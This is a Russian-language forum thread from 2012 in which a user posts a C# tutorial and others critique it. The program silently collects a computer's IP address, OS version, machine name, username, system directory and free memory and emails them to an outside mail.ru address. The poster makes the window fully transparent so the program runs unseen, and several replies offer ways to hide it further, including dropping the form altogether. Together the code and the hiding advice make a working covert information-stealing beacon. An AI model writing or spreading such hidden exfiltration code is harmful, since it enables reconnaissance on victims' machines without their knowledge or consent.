Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Ответ
 
Опции темы
Старый 05.07.2012, 14:23   #1
Заблокирован
 Разведчик
Аватар для mc228)[2]
 
mc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небе
Регистрация: 22.11.2011
Сообщений: 33
Популярность: 869
Сказал(а) спасибо: 76
Поблагодарили 92 раз(а) в 27 сообщениях
Отправить сообщение для mc228)[2] с помощью Skype™
 
Smile Пишем программу для отправки систем. инфо себе на почту

Приветствую!
Сейчас мы будем учиться писать простую программу для отправки системной информации себе на почту.
Приступим!
Создаем проект.
Заменяем свои using на эти:

Код:
using System;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using System.Net.Mail;
using System.Diagnostics;
Кликаем по форме и задаем значение в свойствах: FormBorderStyle = None и Opacity = 0.

Нам понадобиться 7 textbox 1 combobox

Теперь кликаем 2 раза по форме чтобы перейти к коду загрузки формы.

Туда пишем:

Код:
            String host = System.Net.Dns.GetHostName();
            System.Net.IPAddress ip = System.Net.Dns.GetHostByName(host).AddressList[0];
            textBox1.Text = ip.ToString();
            textBox2.Text = Environment.OSVersion.ToString();
            textBox3.Text = Environment.MachineName.ToString();
            textBox4.Text = Environment.ProcessorCount.ToString();
            PerformanceCounter ram = new PerformanceCounter("Memory", "Available MBytes");
            textBox5.Text = "Количество свободной памяти: " + ram.NextValue().ToString() + " Mb";
            textBox6.Text = Environment.UserName.ToString();
            textBox7.Text = Environment.SystemDirectory.ToString();

            SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
            client.Credentials = new System.Net.NetworkCredential("*ТВОЁ МЫЛО*", "*ТВОЁ МЫЛО*"); // Указываем логин и пароль для авторизации

            string msgFrom = "*ТВОЁ МЫЛО*"; // Указываем поле, от кого письмо
            string msgTo = "*ТВОЁ МЫЛО*"; // Указываем поле, кому письмо будет отправлено
            string msgSubject = "Info"; // Указываем тему пиьсма

            string msgBody = String.Format("Имя компьютера: {1} \nОперационная Система: {2}\nIP: {3}\nКоличество процессоров: {4} \n{5}\nИмя пользователя: {6}\nСистемная дирректория: {7}",
            comboBox1.SelectedItem, textBox1.Text, textBox2.Text, textBox3.Text, textBox4.Text, textBox5.Text, textBox6.Text, textBox7.Text); 

            MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше

            try
            {
                client.Send(msg); // Отправляем письмо
            }
            catch { }
            Application.Exit();
Всё! программа готова!
Как будет выглядить письмо:

Вложения
Тип файла: rar Info.rar (134.9 Кб, 51 просмотров)

Последний раз редактировалось mc228)[2]; 05.07.2012 в 21:25.
  Ответить с цитированием
Пользователь сказал cпасибо:
V11RUS (12.08.2012)
Старый 05.07.2012, 15:10   #2
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Что за бред?
Зачем нам текстбоксы?
Зачем таймер?
Что если пинг больше значения таймера, отправится ли сообщение?
Зачем нам combobox, если в коде ты его не заполняешь?
Зачем подключать using System.Linq; если ты его не используешь?
Зачем использовать WinForms если мы можем вообще без них??
Да и отображение данных нам не нужно...
  Ответить с цитированием
Старый 05.07.2012, 15:21   #3
Заблокирован
 Разведчик
Аватар для mc228)[2]
 
mc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небеmc228)[2] лучик света в грозовом небе
Регистрация: 22.11.2011
Сообщений: 33
Популярность: 869
Сказал(а) спасибо: 76
Поблагодарили 92 раз(а) в 27 сообщениях
Отправить сообщение для mc228)[2] с помощью Skype™
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Цитата:
Сообщение от SinyssПосмотреть сообщение
Зачем нам текстбоксы?

в текст боксах прописываються данные (IP, название ПК)
Цитата:
Сообщение от SinyssПосмотреть сообщение
Зачем таймер?

чтобы программа автоматически закрылась
Цитата:
Сообщение от SinyssПосмотреть сообщение
Что если пинг больше значения таймера, отправится ли сообщение?

да
Цитата:
Сообщение от SinyssПосмотреть сообщение
Зачем нам combobox, если в коде ты его не заполняешь?

без него может выбить ошибку при отправке письма (хз что за бред)
Цитата:
Сообщение от SinyssПосмотреть сообщение
Да и отображение данных нам не нужно...

так и есть, Opacity = 0 т.е программа будет невидимая и сам будет закрываться...
  Ответить с цитированием
Старый 05.07.2012, 15:34   #4
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Цитата:
Сообщение от mc228)[2]Посмотреть сообщение
в текст боксах прописываються данные (IP, название ПК)

ЗАЧЕМ???? для этого же есть обычные переменные.

Цитата:
Сообщение от mc228)[2]Посмотреть сообщение
чтобы программа автоматически закрылась

Тебе не кажется что было бы логично закрывать ее сразу после того как она выполнит свою задачу а не по таймеру?
Цитата:
Сообщение от mc228)[2]Посмотреть сообщение
без него может выбить ошибку при отправке письма (хз что за бред)

Не может такого быть, где то ты тупишь.
Цитата:
Сообщение от mc228)[2]Посмотреть сообщение
так и есть, Opacity = 0 т.е программа будет невидимая и сам будет закрываться...

Она будет прозрачной, а не невидимой. Зачем нам вообще форма если мы можем без нее обойтись?
  Ответить с цитированием
Старый 07.07.2012, 19:38   #5
,,,,
 Командор
Аватар для Skilful
 
Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(Skilful сломал счётчик популярности :(
Регистрация: 08.05.2011
Сообщений: 752
Популярность: 18860
Золото Zhyk.Ru: 8
Сказал(а) спасибо: 383
Поблагодарили 1,069 раз(а) в 448 сообщениях
Отправить сообщение для Skilful с помощью ICQ Отправить сообщение для Skilful с помощью Skype™
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Sinyss, он просто учится еще.
вообщем,
mc228)[2], , должно быть так :
Код:
            PerformanceCounter ram = new PerformanceCounter("Memory", "Available MBytes");
            string msgFrom = "*ТВОЁ МЫЛО*"; // Указываем поле, от кого письмо
            string msgTo = "*ТВОЁ МЫЛО*"; // Указываем поле, кому письмо будет отправлено
            string msgSubject = "Info"; // Указываем тему письма
            SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
            client.Credentials = new System.Net.NetworkCredential(msgFrom, "password"); // Указываем логин и пароль для авторизации
            string msgBody = String.Format("Имя компьютера: {0}\nОперационная Система: {1}\nIP: {2}\nКоличество процессоров: {3} \nИмя пользователя: {5}\nСистемная дирректория: {6}\nКоличество свободной памяти: {6}  Mb",
            Environment.MachineName.ToString(), Environment.OSVersion.ToString(), System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName()).AddressList[0].ToString(), Environment.ProcessorCount.ToString(), Environment.UserName.ToString(), Environment.SystemDirectory.ToString(),ram.NextValue().ToString());

            MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject,
            String.Format("Имя компьютера: {0}\nОперационная Система: {1}\nIP: {2}\nКоличество процессоров: {3} \nИмя пользователя: {5}\nСистемная дирректория: {6}\nКоличество свободной памяти: {6}  Mb"
            ,Environment.MachineName.ToString(),
            Environment.OSVersion.ToString(),
            System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName()).AddressList[0].ToString(),
            Environment.ProcessorCount.ToString(),
            Environment.UserName.ToString(),
            Environment.SystemDirectory.ToString(),
            ram.NextValue().ToString())); // Создаем письмо, из всего, что сделали выше
            try
            {
                client.Send(msg); // Отправляем письмо
            }
            catch { MessageBox.Show("Ошибка отправки сообщения!"); }
            Application.Exit();
мб где то ошибся, я без компилятора
________________

  Ответить с цитированием
Пользователь сказал cпасибо:
DeathAngel (09.11.2012)
Старый 08.07.2012, 14:06   #6
 Рыцарь-лейтенант
Аватар для xFroLx
 
xFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражанияxFroLx блестящий пример для подражания
Регистрация: 21.06.2010
Сообщений: 425
Популярность: 1817
Сказал(а) спасибо: 247
Поблагодарили 566 раз(а) в 147 сообщениях
Отправить сообщение для xFroLx с помощью ICQ
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

пропиши Hide(); если уж так нужна форма, видать ее будет только в процессах
  Ответить с цитированием
Старый 08.07.2012, 15:13   #7
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Цитата:
Сообщение от xFroLxПосмотреть сообщение
пропиши Hide(); если уж так нужна форма, видать ее будет только в процессах


Форма то как раз и не нужна... зачем ее вообще создавать?
  Ответить с цитированием
Старый 11.07.2012, 12:58   #8
 Разведчик
Аватар для ALЕХ-1997
 
ALЕХ-1997 на правильном пути
Регистрация: 23.06.2012
Сообщений: 7
Популярность: 32
Сказал(а) спасибо: 0
Поблагодарили 11 раз(а) в 9 сообщениях
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

Цитата:
Сообщение от SinyssПосмотреть сообщение

Форма то как раз и не нужна... зачем ее вообще создавать?

нужна,куда по твоему код вставлять?
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 11.07.2012, 13:32   #9
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: Пишем программу для отправки систем. инфо себе на почту

ALЕХ-1997, очевидно же, в Program.cs
Код:
    static class Program
    {
        /// <summary>
        /// Главная точка входа для приложения.
        /// </summary>
        //[STAThread] //Этот атрибут удаляем, всеравно поток под форму уже не нужен
        static void Main()
        {
            //Application.EnableVisualStyles(); // Темболее удаляем, зачем на оформление без самой формы
            //Application.SetCompatibleTextRenderingDefault(false); // и текст у нас больше не рендерится
            //Application.Run(new Form1()); // и это нам тоже не нужно
        }
работаем как с обычным консольным приложением, только без привычной консоли
...
ПРОФИТ!!!
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Пользователь сказал cпасибо:
mc228)[2] (12.07.2012)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Статья] Пишем программу для закрытия процесса sharperok C# 5 16.12.2016 13:30
[Информация] Пишем сообщение в вк самому себе!!! Shifter999 Свободное обсуждение 4 16.06.2012 20:53
Инжектор для x64 систем surprise55 Общение и обсуждение, архив Point Blank 3 09.12.2011 18:57

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 11:20.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net